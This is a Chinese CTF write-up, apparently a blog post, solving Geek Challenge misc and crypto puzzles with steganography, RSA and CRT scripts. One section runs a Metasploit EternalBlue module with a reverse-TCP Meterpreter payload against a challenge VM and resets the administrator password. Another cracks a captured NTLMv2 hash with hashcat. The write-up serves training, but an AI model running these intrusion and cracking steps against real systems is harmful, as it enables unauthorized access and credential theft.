# 极客大挑战 ———wp

# MISC

# cheekin

image-20231029201202053

# ez_smilemo

上网自行搜索 data.win 怎么打开。

找到工具 UndertaleModTool.exe

image-20231029201510600

c20xbGVfMXNfQF9uMWNlX2dAbWU=

解码 base64 得到 flag :> sm1le_1s_@_n1ce_g@me

# DEATH_N0TE

kamisama

题目如上!

很明显能发现有像素点篡改。

from PIL import Image
import numpy as np
image = Image.open('kamisama.png').convert('RGB')
width, height = image.size
image_array = np.array(image)
extracted_pixels = []
for y in range(5, height, 10):
    for x in range(5, width, 10):
        pixel = tuple(image_array[y, x])
        extracted_pixels.append(pixel)
width1 = len(range(5, width, 10))
height1 = len(range(5, height, 10))
img = Image.new('RGB', (width1, height1))
pixels = img.load()
index = 0
for y in range(height1):
    for x in range(width1):
        img.putpixel((x, y), extracted_pixels[index])
        index += 1
img.save("1.png")
img.show()

1

哥特表的 base64

img

进行对应:TkFNRV9oMnRha3VYWH0=

解密: NAME_h2takuXX}

第一段:

image-20231029203349480

image-20231029203523790

# 下一站是哪儿呢

我和 yxx 去旅游,前一天还好好的,玩完《指挥官基恩》这个游戏就睡觉了,第二天晚上吃完饭她人就不见了,走之前留下了两张图片就消失了。你能帮我找找她坐哪个航班去哪个地方了嘛? flag 格式:SYC {航班号_城市拼音},城市拼音首字母大写噢

附件给的挺全,说是社工,其实有图片隐写的地方

1.jpg —> 提取出压缩包内文件

image-20231029203951251

secret.png 是银河表对应

secret

I wang to go liquor city 关键线索是白酒城 定位到四川泸州,机场是泸州白云

结合聊天记录,知道 20.00 左右的飞机,出发点是深圳宝安国际机场

使用软件搜索:定位航班 CZ8579 故 flag 为 CZ8579_Luzhou

# Qingwan 心都要碎了

Qingwan 和 Yxx 一起去旅游,但是 Qingwan 睡的太死啦,Yxx 丢下她一个人去玩了,她一觉起来只看见 Yxx 发的朋友圈,能帮 Qingwan 找到她吗? flag 格式:SYC

百度搜图,定位重庆。搜索博物馆,第一个就是重庆中国三峡博物馆,得到 flag/

SYC 重庆中国三峡博物馆}

# xqr(一血)

直接扫码,是假 flag。分析文件,里面还有张图片。进行提取。

得到一个 25x25 的图片

两张图片异或得到 flag.png 扫描二维码得到 flag。

n
from PIL import Image
import numpy as np
img1 = Image.open('xqr.png').convert('RGB')
img2 = Image.open('xqr2.png').convert('RGB')
img1 = img1.resize((75, 75))
img2 = img2.resize((75, 75))
img1_array = np.array(img1)
img2_array = np.array(img2)
result_array = np.bitwise_xor(img1_array, img2_array)
result_image = Image.fromarray(result_array)
result_image.save("22.png")
last = result_image.resize((result_image.height*10,result_image.width*10))
last.save("22.png")

# DEATH_N1TE

给出一个.mp3 文件和一个.webp 文件

killer

MP3 文件最好有一点 SSTV 音频,进行识别后

2

n
import subprocess
input_file = "killer.webp"
# 获取帧数
get_frames_command = ['webpmux', '-info', input_file]
result = subprocess.run(get_frames_command, capture_output=True, text=True)
lines = result.stdout.split('\n')
frames_line = [line for line in lines if 'Number of frames:' in line][0]
frames = int(frames_line.split(':')[1].strip())
# 提取所有帧
for i in range(1, frames+1):
    extract_frame_command = ['webpmux', '-get', 'frame', str(i), input_file, '-o', f'frame{i}.webp']
    subprocess.run(extract_frame_command)

分解所有帧

n
import os
from PIL import Image
# 创建新的目录来储存.png 图像
if not os.path.exists('png_images'):
    os.makedirs('png_images')
# 循环遍历所有.webp 图像
for i in range(1, 881):  # 从 frame1.webp 到 frame880.webp
    img_name = f'frame{i}.webp'
    if os.path.isfile(img_name):
        img = Image.open(img_name)
        img.save(f'png_images/frame{i}.png', 'PNG')
    else:
        print(f'{img_name} does not exist.')
print('Conversion from .webp to .png completed.')

转 png 图片

n
import cv2
import numpy as np
from PIL import Image
# 创建一个列表来保存所有的图片
images = []
# 读取所有的图片
for i in range(1, 881):
    img = cv2.imread(f'frame{i}.png')
    # OpenCV 读取图片默认是 BGR,转换成 RGB
    img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)
    images.append(img)
# 确定你想要的矩形形状
rows = 22     # 我们这里假设你想要的矩形有 30 行
cols = 40   # 我们这里假设你想要的矩形有 30 列
# 创建一个空的列表来保存最终的矩形图片
final_images = []
# 将图片组织成矩形形状
for i in range(0, rows*cols, cols):
    # 使用 hstack 函数将一行的图片组合在一起
    row = np.hstack(images[i:i+cols])
    final_images.append(row)
# 使用 vstack 函数将所有的行堆叠在一起
merged_image = np.vstack(final_images)
# 使用 PIL 将 numpy 数组转换成图片
merged_image = Image.fromarray(merged_image)
# 保存合并后的图片
merged_image.save('3.png')

合并,用 gaps 拼图解决

gaps run puzzle.jpg solution.jpg --generations=20 --population=600

solution

解决 base64 得到 flag

# 窃听风云

Hacker 捕获到了一段敌对公司的对话信息流量,你能从流量中分析出 Jack 的密码吗,flag 为 SYC

是一个 NTLNMSSP 流量分析

image-20231101155722725

通过对话,得知密码所用字典为 rockyou.txt

username::Domian:ntlmssp.ntlmserverchallenge:ntlmssp.ntlmv2_response.ntproofstr:ntlmssp.ntlmv2_response

得到

jack::WIDGETLLC:2af71b5ca7246268:2d1d24572b15fe544043431c59965d30:0101000000000000040d962b02edd901e6994147d6a34af200000000020012005700490044004700450054004c004c004300010008004400430030003100040024005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c0003002e0044004300300031002e005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c00050024005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c0007000800040d962b02edd90106000400020000000800300030000000000000000000000000300000078cdc520910762267e40488b60032835c6a37604d1e9be3ecee58802fb5f9150a001000000000000000000000000000000000000900200048005400540050002f003100390032002e003100360038002e0030002e0031000000000000000000

用 hashcat 跑,得到 password

hashcat -m 5600 保存的字符串.txt 密码字典.txt -o 结果.txt --force

# extractMe

下载之后,一眼顶针 7z crc4 位爆破

套脚本

import sys
import zlib
import py7zr
import string
from itertools import product
if len(sys.argv) < 2:
    print('Usage: 7zcrc_cracker.py <7z_file>')
    exit()
file_list = []
crc_list = []
cracked = 0
try:
    archive = py7zr.SevenZipFile(sys.argv[1], mode='r')
except:
    print('[x] Invalid 7z provided!')
    exit()
archive_list = archive.list()
print('')
for archive in archive_list:
    if archive.uncompressed == 4:
        print('\033[1m\033[92m[*] Found vulnerable file to CRC32 bruteforcing!\033[0m')
        print('\033[1m\033[94mFilename:\033[0m {}'.format(archive.filename))
        print('\033[1m\033[94mCRC32:\033[0m {}'.format(hex(archive.crc32)))
        print('')
        file_list.append(archive.filename)
        crc_list.append(hex(archive.crc32))
all_char = string.printable
for l in range(5):
    generator = product(all_char, repeat=int(l))
print('\033[1;33m<=================================================>\033[0m')
print('')
for p in generator:
    pt = ''.join(p)
    crc = hex(zlib.crc32(pt.encode('utf8')) & 0xffffffff)
    if crc in crc_list:
        print('\033[1m\033[92m[!] Cracked plaintext for file!\033[0m')
        print('\033[1m\033[94mFilename: {}'.format(file_list[crc_list.index(crc)]))
        print('\033[1m\033[94mPlaintext: {}'.format(pt))
        print('')
        cracked += 1
        if cracked == len(crc_list):
            exit()

# 时代的眼泪

MSF 命令总结 - 大柿子 - 博客园 (cnblogs.com)

给出的文件

image-20231104200158637

用 VMware 打开 ovf 文件。

是一个有密码的虚拟机。

image-20231104200427327

CVE:MS17-010

在 kali 中进行 msf 渗透。

msf6 > search ms17
                                                                                                                                                         
Matching Modules                                                                                                                                           
================                                                                                                                                           
   #  Name                                                  Disclosure Date  Rank     Check  Description
   -  ----                                                  ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue              2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/ms17_010_psexec                               2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  exploit/windows/smb/ms17_010_psexec                   2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   3  auxiliary/admin/smb/ms17_010_command                  2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   4  auxiliary/scanner/smb/smb_ms17_010                                     normal   No     MS17-010 SMB RCE Detection
   5  exploit/windows/fileformat/office_ms17_11882          2017-11-15       manual   No     Microsoft Office CVE-2017-11882
   6  auxiliary/admin/mssql/mssql_escalate_execute_as                        normal   No     Microsoft SQL Server Escalate EXECUTE AS
   7  auxiliary/admin/mssql/mssql_escalate_execute_as_sqli                   normal   No     Microsoft SQL Server SQLi Escalate Execute AS
   8  exploit/windows/smb/smb_doublepulsar_rce              2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution

选择 2

进行设置

set rhosts 192.168.85.133

set payload windows/meterpreter/reverse_tcp

run

进行修改管理员密码

shell

net user administrator 123456

or

16

FLAG 在图片里面

# SimpleConnect

# give_me_Goerlieth

这两个题我做法一样,找到交易记录,提交别人的 hash 和地址就行。

# DEATH_N2TE

n
import cv2
import numpy as np
# 视频文件路径
video_path = 'kira.mp4'
# 打开视频文件
cap = cv2.VideoCapture(video_path)
# 获取视频的帧宽度和帧高度
frame_width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))  # 1920
frame_height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))  # 1080
# 创建一个空的图片,用于存储提取的像素点
# 图片宽度为视频的帧宽度
# 图片高度为视频的帧数(初始化时假设视频帧数不会超过 frame_height)
extracted_image = np.zeros((frame_height, frame_width, 3), dtype=np.uint8)
# 阈值
threshold = np.array([200, 200, 200])
# 定义起始列和列间隔
start_col = 5
col_interval = 10
# 读取视频帧
frame_count = 0
col_count = start_col
while True:
    ret, frame = cap.read()
    if not ret or frame_count >= frame_height:
        break  # 如果读取失败或者帧数超过了预设的高度,则停止读取
    # 从每一帧读取对应列号的像素
    # 确保列号没有超出宽度范围
    if col_count < frame_width:
        col_to_scan = frame[:, col_count, :]
        # 提取大于等于阈值的像素
        white_pixels = np.all(col_to_scan >= threshold, axis=-1)
        # 将提取的像素设置到新图片的对应列
        extracted_image[white_pixels, frame_count, :] = col_to_scan[white_pixels]
        # 更新列数,为下一帧准备
        col_count += col_interval
    # 更新帧数
    frame_count += 1
# 释放视频资源
cap.release()
# 裁剪图片以匹配实际读取的帧数
extracted_image = extracted_image[:, :frame_count, :]
# 保存提取的像素形成的图片
cv2.imwrite('extracted_image.png', extracted_image)
# 显示图片
cv2.imshow('Extracted Image', extracted_image)
cv2.waitKey(0)
cv2.destroyAllWindows()

image-20231120094433088

# Crypto

# SignIn

5359437b48656c6c6f5f576f726c645f43727970746f5f6269626f6269626f7d… Hmm… Something goes wrong with my grettings bot.

义眼盯真。16 进制 ascii 转化得到 flag

# proof_of_work

import hashlib
import re
import string
from itertools import product
def pass_POW():
    rec = 'sha256(XXXX+FCxk8M9svYwVMfGe) == 793edc396da13a7992b429e50e7d122c41debbd902419d26a0792b4008dba844'
    table = string.ascii_letters + string.digits
    suffix = re.findall(r'\(XXXX\+(.*?)\)', rec)[0]
    last_hash = re.findall(r'== (.*?)$', rec)[0]
    print("suffix: %s, last_hash: %s" % (suffix, last_hash))
    for i in product(table, repeat=4):
        prefix = ''.join(i)
        guess = prefix + suffix
        if hashlib.sha256(guess.encode()).hexdigest() == last_hash:
            print("prefix XXXX is %s" % prefix)
            return prefix
    return None
pass_POW()

image-20231029212225830

# SimpleRSA

第一次见,涨姿势了。

import gmpy2
from Crypto.Util.number import * 
flag = b"SYC{Al3XEI_FAKE_FLAG}"
assert len(flag) == 35
p,q = [getPrime(2048) for _ in "__"] 
n = p*q 
e = 65537 
c = gmpy2.powmod(bytes_to_long(flag),e,n) 
print(p) 
print(c)
#24724324630507415330944861660078769085865178656494256140070836181271808964994457686409910764936630391300708451701526900994412268365698217113884698394658886249353179639767806926527103624836198494439742123128823109527320850165486500517304731554371680236789357527395416607541627295126502440202040826686102479225702795427693781581584928770373613126894936500089282093366117940069743670997994742595407158340397268147325612840109162997306902492023078425623839297511182053658542877738887677835528624045235391227122453939459585542485427063193993069301141720316104612551340923656979591045138487394366671477460626997125944456537
#510345661718450375632304764819724223824018609359964259503762283253350010161515190912152623604019093266967095847334388281390406831587663253164256543905694021952211220652820225527413861208452760215767828927039893435528572148282529198773772864255061213208279999011194952146362748485103032149806538140693537361755210176698895104708379400806511907719904867068865970241208806615061055047254026118016836750283966478103987375361826198930529462261013324904522014804502582865716441828895047550041401172127129749969507853355531197814919603963664646220505672302543085959372679395717892060245461464861507164276442140407308832537707450729432224150754603518526288767105682399190438680085925078051459448618725871249563011864525585870188123725554411655044152994826056900502298772802133526591794328224932405680583757307064395792317383571866619582974377344736930271554160701478385763426091091686496788999588340419226785217028504684542197970387916262126278955278523452903043316452825738030645100271595942652498852506660789605846309602343932245435421425673058238785509280366229754404949219663043627431437755087855502139890639468481922788973821783957766433857773771229298328019250652625289700950165414584983487319078090573179470893450632419467111117341472

image-20231029212545246

# OTPTwice

from pwn import xor 
from os import urandom 
flag = b"SYC{Al3XEI_FAKE_FLAG}" 
# step0: key generation & distribution
def s0(msg): 
    k1,k2 = [urandom(len(msg)) for _ in "__"] 
    return k1,k2 
#  
# step1: Alice encrypt M, and send it to Bob
def s1(msg,k1):
    c1 = xor(msg,k1)
    return c1 
# step2: Bob encrypt c1, and send it to Alice 
def s2(msg,k2):
    c2 = xor(msg,k2) 
    return c2 
# step3: Alice decrypt c2, and send it to Bob.
def s3(msg,k1):
    c3 = xor(msg,k1)
    return c3 
# step4: Bob decrypt c3, get M.
def s4(msg,k2):
    m_ = xor(msg,k2) 
    return m_ 
def encrypt(msg,k1,k2): 
    c1 = s1(msg,k1) 
    c2 = s2(c1,k2) 
    c3 = s3(c2,k1)
    m_ = s4(c3,k2) 
    assert msg == m_
# Here's what hacker Eve got:
def encrypt_(msg,k1,k2):
    c1 = s1(msg,k1) 
    c2 = s2(c1,k2) 
    c3 = s3(c2,k1)
    m_ = s4(c3,k2) 
    if HACK == True:
        print(c1) 
        print(c2) 
        print(c3) 
k1,k2 = s0(flag) 
encrypt_(flag,k1,k2) 
'''
b'\xdbi\xab\x8d\xfb0\xd3\xfe!\xf8Xpy\x80w\x8c\x87\xb9'
b'o\xb0%\xfb\xdb\x0e\r\x04\xde\xd1\x9a\x08w\xda4\x0f\x0cR'
b'\xe7\x80\xcd\ria\xb2\xca\x89\x1a\x9d;|#3\xf7\xbb\x96'
'''
from pwn import xor 
C1=b'\xdbi\xab\x8d\xfb0\xd3\xfe!\xf8Xpy\x80w\x8c\x87\xb9'
C2=b'o\xb0%\xfb\xdb\x0e\r\x04\xde\xd1\x9a\x08w\xda4\x0f\x0cR'
C3=b'\xe7\x80\xcd\ria\xb2\xca\x89\x1a\x9d;|#3\xf7\xbb\x96'
K1=xor(C2,C3)
K2=xor(C2,C1)
flag=xor(K1,C1)
print(flag)

# OldAlgorithm

from Crypto.Util.number import * 
import os 
flag = b"SYC{Al3XEI_FAKE_FLAG}"
pad = lambda msg,padlen: msg+os.urandom(padlen-len(msg))
flag = pad(flag,32)
print(len(flag))
p = [getPrime(16) for _ in range(32)] 
c = [bytes_to_long(flag)%i for i in p] 
print('p=',p)
print('c=',c)
'''
p= [58657, 47093, 47963, 41213, 57653, 56923, 41809, 49639, 44417, 38639, 39857, 53609, 55621, 41729, 60497, 44647, 39703, 55117, 44111, 57131, 37747, 63419, 63703, 64007, 46349, 39241, 39313, 44909, 40763, 46727, 34057, 56333]
c= [36086, 4005, 3350, 23179, 34246, 5145, 32490, 16348, 13001, 13628, 7742, 46317, 50824, 23718, 32995, 7640, 10590, 46897, 39245, 16633, 31488, 36547, 42136, 52782, 31929, 34747, 29026, 18748, 6634, 9700, 8126, 5197]
'''
from Crypto.Util.number import long_to_bytes
def chinese_remainder_theorem(c, p):
    # 计算模数的乘积
    N = 1
    for i in p:
        N *= i
    result = 0
    for i in range(len(c)):
        # 计算每个模数的乘积
        Ni = N // p[i]
        # 计算模反元素
        Mi = pow(Ni, -1, p[i])
        # 计算部分解密结果
        result += c[i] * Ni * Mi
    # 取最小正整数解
    flag = result % N
    return long_to_bytes(flag)
p= [58657, 47093, 47963, 41213, 57653, 56923, 41809, 49639, 44417, 38639, 39857, 53609, 55621, 41729, 60497, 44647, 39703, 55117, 44111, 57131, 37747, 63419, 63703, 64007, 46349, 39241, 39313, 44909, 40763, 46727, 34057, 56333]
c= [36086, 4005, 3350, 23179, 34246, 5145, 32490, 16348, 13001, 13628, 7742, 46317, 50824, 23718, 32995, 7640, 10590, 46897, 39245, 16633, 31488, 36547, 42136, 52782, 31929, 34747, 29026, 18748, 6634, 9700, 8126, 5197]
flag = chinese_remainder_theorem(c, p)
print(flag)

# easy_classic

古典密码的套

第一层: udzeojxuwqcu

凯撒 16:enjoythegame

第二层:ialhhooavtepcyr

栅栏 7:ilovecryptohaha

第三层:5a6H5a6Z5LiH5rOV55qE6YKj5Liq5rqQ5aS0

base64: 宇宙万法的那个源头

第四层:呋食食食取噗山笨笨破嗄咯哈動嗡雜類嗒嘿啽沒歡破吖咬我啽寶盜噔咯沒

熊曰解密:never gonna give you up

第五层:👝👘👠👩👞👘👤👜

base100 找 key:fairgame

根据 fairgame 得知加密为 Playfair:genshinstart

SYC{classical_1s_fun}

# PolyRSA

n
import math
from Crypto.Util.number import inverse
n = 728002565949733279371529990942440022467681592757835980552797682116929657292509059813629423038094227544032071413317330087468458736175902373398210691802243764786251764982802000867437756347830992118278032311046807282193498960587170291978547754942295932606784354258945168927044376692224049202979158068158842475322825884209352566494900083765571037783472505580851500043517614314755340168507097558967372661966013776090657685241689631615245294004694287660685274079979318342939473469143729494106686592347327776078649315612768988028622890242005700892937828732613800620455225438339852445425046832904615827786856105112781009995862999853122308496903885748394541643702103368974605177097553007573113536089894913967154637055293769061726082740854619536748297829779639633209710676774371525146758917646731487495135734759201537358734170552231657257498090553682791418003138924472103077035355223367678622115314235119493397080290540006942708439607767313672671274857069053688258983103863067394473084183472609906612056828326916114024662795812611685559034285371151973580240723680736227737324052391721149957542711415812665358477474058103338801398214688403784213100455466705770532894531602252798634923125974783427678469124261634518543957766622712661056594132089
e = 65537
c = 375617816311787295279632219241669262704366237192565344884527300748210925539528834207344757670998995567820735715933908541800125317082581328287816628816752542104514363629022246620070560324071543077301256917337165566677142545053272381990573611757629429857842709092285442319141751484248315990593292618113678910350875156232952525787082482638460259354559904243062546518553607882194808191571131590524874275187750985821420412987586148770397073003186510357920710387377990379862185266175190503647626248057084923516190642292152259727446111686043531725993433395002330208067534104745851308178560234372373476331387737629284961288204368572750848248186692623500372605736825205759172773503283282321274793846281079650686871355211691681512637459986684769598186821524093789286661348936784712071312135814683041839882338235290487868969391040389837253093468883093296547473466050960563347060307256735803099039921213839491129726807647623542881247210251994139130146519265086673883077644185971830004165931626986486648581644383717994174627681147696341976767364316172091139507445131410662391699728189797082878876950386933926807186382619331901457205957462337191923354433435013338037399565519987793880572723211669459895193009710035003369626116024630678400746946356
e1 = 113717
e2 = 80737
c1 = 97528398828294138945371018405777243725957112272614466238005409057342884425132214761228537249844134865481148636534134025535106624840957740753950100180978607132333109806554009969378392835952544552269685553539656827070349532458156758965322477969141073720173165958341043159560928836304172136610929023123638981560836183245954461041167802574206323129671965436040047358250847178930436773249800969192016749684095882580749559014647942135761757750292281205876241566597813517452803933496218995755905344070203047797893640399372627351254542342772576533524820435965479881620338366838326652599102311019884528903481310690767832417584600334987458835108576322111553947045733143836419313427495888019352323209000292825566986863770366023326755116931788018138432898323148059980463407567431417724940484236335082696026821105627826117901730695680967455710434307270501190258033004471156993017301443803372029004817834317756597444195146024630164820841200575179112295902020141040090350486764038633257871003899386340004440642516190842086462237559715130631205046041819931656962904630367121414263911179041905140516402771368603623318492074423223885367923228718341206283572152570049573607906130786276734660847733952210105659707746969830132429975090175091281363770357
c2 = 353128571201645377052005694809874806643786163076931670184196149901625274899734977100920488129375537186771931435883114557320913415191396857882995726660784707377672210953334914418470453787964899846194872721616628198368241044602144880543115393715025896206210152190007408112767478800650578941849344868081146624444817544806046188600685873402369145450593575618922226415069043442295774369567389939040265656574664538667552522329712111984168798829635080641332045614585247317991581514218486004191829362787750803153463482021229058714990823658655863245025037102127138472397462755776598314247771125981017814912049441827643898478473451005083533693951329544115861795587564408860828213753948427321483082041546722974666875065831843384005041800692983406353922680299538080900818930589336142421748023025830846906503542594380663429947801329079870530727382679634952272644949425079242992486832995962516376820051495641486546631849426876810933393153871774796182078367277299340503872124124714036499367887886486264658590613431293656417255355575602576047502506125375605713228912611320198066713358654181533335650785578352716562937038768171269136647529849805172492594142026261051266577821582011917001752590659862613307646536049830151262848916867223615064832279222
q = math.gcd(n, pow(c1, e2, n)*pow(5,e1*e2,n) - pow(c2, e1, n)*pow(2,e1*e2,n))
p = n // q
phi = (p-1)*(q-1)
d = inverse(e,phi)
m = pow(c,d,n)
print(bytes.fromhex(format(m,'x')).decode('utf-8'))

# Fi1nd_th3_x’

n
from Crypto.Util.number import *
import gmpy2
from functools import reduce
p= 13014610351521460822156239705430709078128228907778181478242620569429327799535062679140131416771915929573454741755415612880788196172134695027201422226050343
q= 12772373441651008681294250861077909144300908972709561019514945881228862913558543752401850710742410181542277593157992764354184262443612041344749961361188667
r= 12128188838358065666687296689425460086282352520167544115899775800918383085863282204525519245937988837403739683061218279585168168892037039644924073220678419
dp= 116715737414908163105708802733763596338775040866822719131764691930369001776551671725363881836568414327815420649861207859100479999650414099346914809923964116101517432576562641857767638396325944526867458624878906968552835814078216316470330511385701105459053294771612727181278955929391807414985165924450505855941
dq= 44209639124029393930247375993629669338749966042856653556428540234515804939791650065905841618344611216577807325504984178760405516121845853248373571704473449826683120387747977520655432396578361308033763778324817416507993263234206797363191089863381905902638111246229641698709383653501799974217118168526572365797
dr= 60735172709413093730902464873458655487237612458970735840670987186877666190533417038325630420791294593669609785154204677845781980482700493870590706892523016041087206844082222225206703139282240453277802870868459288354322845410191061009582969848870045522383447751431300627611762289800656277924903605593069856921
c= 93063188325241977486352111369210103514669725591157371105152980481620575818945846725056329712195176948376321676112726029400835578531311113991944495646259750817465291340479809938094295621728828133981781064352306623727112813796314947081857025012662546178066873083689559924412320123824601550896063037191589471066773464829226873338699012924080583389032903142107586722373131642720522453842444615499672193051587154108368643495983197891525747653618742702589711752256009
def union(x1, x2):
    a1, m1 = x1
    a2, m2 = x2
    d = gmpy2.gcd(m1, m2)
    assert (a2 - a1) % d == 0
    p1,p2 = m1 // d,m2 // d
    _,l1,l2 = gmpy2.gcdext(p1,p2)
    k = -((a1 - a2) // d) * l1
    lcm = gmpy2.lcm(m1,m2)
    ans = (a1 + k * m1) % lcm
    return ans,lcm
def excrt(ai,mi):
    tmp = zip(ai,mi)
    return reduce(union, tmp)
mi = [(q - 1) * (r - 1),(p - 1) * (r - 1),(p - 1) * (q - 1)]
ai = [dp,dq,dr]
d,lcm = excrt(ai,mi)
n = p * q * r
m = pow(c,d,n)
print(long_to_bytes(m))

# Simple3DES

n
from Crypto.Cipher import DES3
from Crypto.Util.number import *
import os
import random
import string
import hashlib
xor = lambda a,b: bytes([a[i % len(a)] ^ b[i % len(b)] for i in range(max(len(a), len(b)))])
pad = lambda msg,padlen: msg+chr((padlen-(len(msg)%padlen))).encode()*(padlen-(len(msg)%padlen))
flag = os.environ.get("FLAG", "SYC{Al3XEI_FAKE_FLAG}").encode()
sec = os.urandom(8)
banner = '|'*70
DEBUG = False 
def proof_of_work():
    if DEBUG:
        return True
    proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(20)])
    digest = hashlib.sha256(proof.encode()).hexdigest()
    print("sha256(XXXX+%s) == %s" % (proof[4:], digest))
    x = input("Give me XXXX: ")
    if len(x)!=4 or hashlib.sha256((x+proof[4:]).encode()).hexdigest() != digest:
        return False
    print("Right!")
    return True
def enc(msg,key):
    try:
        key = long_to_bytes(key)
        msg = xor(long_to_bytes(msg),sec)
        des = DES3.new(key,DES3.MODE_ECB)
        ct = xor(des.encrypt(pad(msg,8)),sec)
        return bytes_to_long(ct)
    except Exception as e:
        print(e)
        return Exception
def service():
    cnt = 0
    if not proof_of_work():
        exit()
    print(banner)
    print('Simple DES Encryption Service')
    print(banner)
    while cnt<2:
        print('1. Encrypt\n2. Get encrypted flag.')
        choice = int(input('> '))
        if choice == 1:
            print('Input msg:')
            msg = int(input('> ').strip())
            print('Input key:')
            key = int(input('> ').strip())
            print(enc(msg,key))
        elif choice == 2:
            print('Input key:')
            key = int(input('> ').strip())
            print(enc(bytes_to_long(flag),key))
        else:
            exit()
        cnt+=1
    print(banner)
    print('Bye!')
    exit()
try:
    service()
except Exception:
    print("Something goes wrong...\n")
    print(banner+'\n')
    exit()

去输入相同的 0xFEFEFEFEFEFEFEFE1F1F1F1F0E0E0E0EFEFEFEFEFEFEFEFE 变成 2DES

sha256(XXXX+bdc8ArQJbMwUCQh7) == cd4a27077eaea67b872c59b0232ae722e179992aa8b2c08624667301a9a516d7
Give me XXXX: KfXV
Right!
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Simple DES Encryption Service
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||

  1. Encrypt
  2. Get encrypted flag.

2
Input key:
6252485650149870250738853120274631817958237138334041177854
5645108062031882523941457412438800103538695650524004750720

  1. Encrypt
  2. Get encrypted flag.

1
Input msg:
5645108062031882523941457412438800103538695650524004750720
Input key:
6252485650149870250738853120274631817958237138334041177854
37699681561444816228091816433931698303804192466855953956737310357621942568417
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Bye!

enc = 37699681561444816228091816433931698303804192466855953956737310357621942568417
print(long_to_bytes(enc))

# Just need One

import os 
import random 
import string 
import hashlib 
flag = os.environ.get("FLAG", b"SYC{Al3XEI_FAKE_FLAG}")
DEBUG = False
banner = '|'*70
if DEBUG:
    print("==DEBUG MODE==") 
def proof_of_work(): 
    if DEBUG:
        return True
    proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(20)])
    digest = hashlib.sha256(proof.encode()).hexdigest()
    print("sha256(XXXX+%s) == %s" % (proof[4:], digest))
    x = input("Give me XXXX: ")
    if len(x)!=4 or hashlib.sha256((x+proof[4:]).encode()).hexdigest() != digest: 
        return False
    print("Right!")
    return True  
try:
    if not proof_of_work():
        exit() 
    print(banner) 
    parms = [random.getrandbits(32) for _ in range(128)] 
    res = res = int(input('Give me x calculating f(x) :\n> '))  
    if res >= 2**32:
        print("Give me something smaller.\n")  
        print(banner+'\n') 
        exit() 
    cnt = 0  
    for _ in range(128): 
        cnt += pow(res,_)*parms[_]  
    print(cnt) 
    ans = input('Give me Coefficients :\n> ') 
    ans = [int(_) for _ in ans.split(",")] 
    
    if ans == parms:
        print('Congrats! Your flag is:',flag)  
    else:
        exit()
except Exception:
    print("Something goes wrong...\n") 
    print(banner+'\n') 
    exit()

大系数去乘,然后以 a+xb+x**2 *c = d

​ d%x = a

​ (d-a)%x**2 = x*b

​ b=(d-a)%x**2/x

思想去写脚本

c = 177754717040592981569551572031377340054191998150089284463636682539461200861660419277793044549808255858312075085076505728657329359128807787546446926703049420827644737041142510507604014302969048704502041579803985861076553232404872140427326979171833835167928462193868397362636669260261571017153010705552082170286101066366490706565697132560168077183348017264333167651710949131724270642891881280794067160062678045612036087150089948031521050726232296861427576086790342602842186707873382193949343692973498412664984895679933538279823670239965559948652106454011062316457810423425702426952467809946501500611115441733702708710521032114459847542665622625595031556945567463443773524673751241239124703927710925044937658332481442388137350163388181450227409991519320342433196040433371356835579779793698231120173813569544459871899939201083549425467819318395410861748062368483192273232471725365632400229155722855023939343540817517380575307485589891556485415820858077584894545989502703707116260404851070263159193834020747388870400998058161372220675478753848280221136901374387028849386044822121169476710769209034711358518243519469182938739564079866844787061356058699851567858225388803202946119417521003020418983989617334074034864880878802084304236313660
y = 4294967295
coefficients = [0] * 128
for i in range(127, -1, -1):
    coefficients[i] = c // (y**i)
    c -= coefficients[i] * (y**i)
b = []
for i, coef in enumerate(coefficients):
    b.append(coef)
print(b)

sha256(XXXX+suYfKbD49Qo8nlg1) == ab021ffa2d6f8cc251b12fdec4ac9bce3d794230209d4aee1816e881a069e115
Give me XXXX: VXtD
Right!
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Give me x calculating f(x) :

4294967295
177754717040592981569551572031377340054191998150089284463636682539461200861660419277793044549808255858312075085076505728657329359128807787546446926703049420827644737041142510507604014302969048704502041579803985861076553232404872140427326979171833835167928462193868397362636669260261571017153010705552082170286101066366490706565697132560168077183348017264333167651710949131724270642891881280794067160062678045612036087150089948031521050726232296861427576086790342602842186707873382193949343692973498412664984895679933538279823670239965559948652106454011062316457810423425702426952467809946501500611115441733702708710521032114459847542665622625595031556945567463443773524673751241239124703927710925044937658332481442388137350163388181450227409991519320342433196040433371356835579779793698231120173813569544459871899939201083549425467819318395410861748062368483192273232471725365632400229155722855023939343540817517380575307485589891556485415820858077584894545989502703707116260404851070263159193834020747388870400998058161372220675478753848280221136901374387028849386044822121169476710769209034711358518243519469182938739564079866844787061356058699851567858225388803202946119417521003020418983989617334074034864880878802084304236313660
Give me Coefficients :
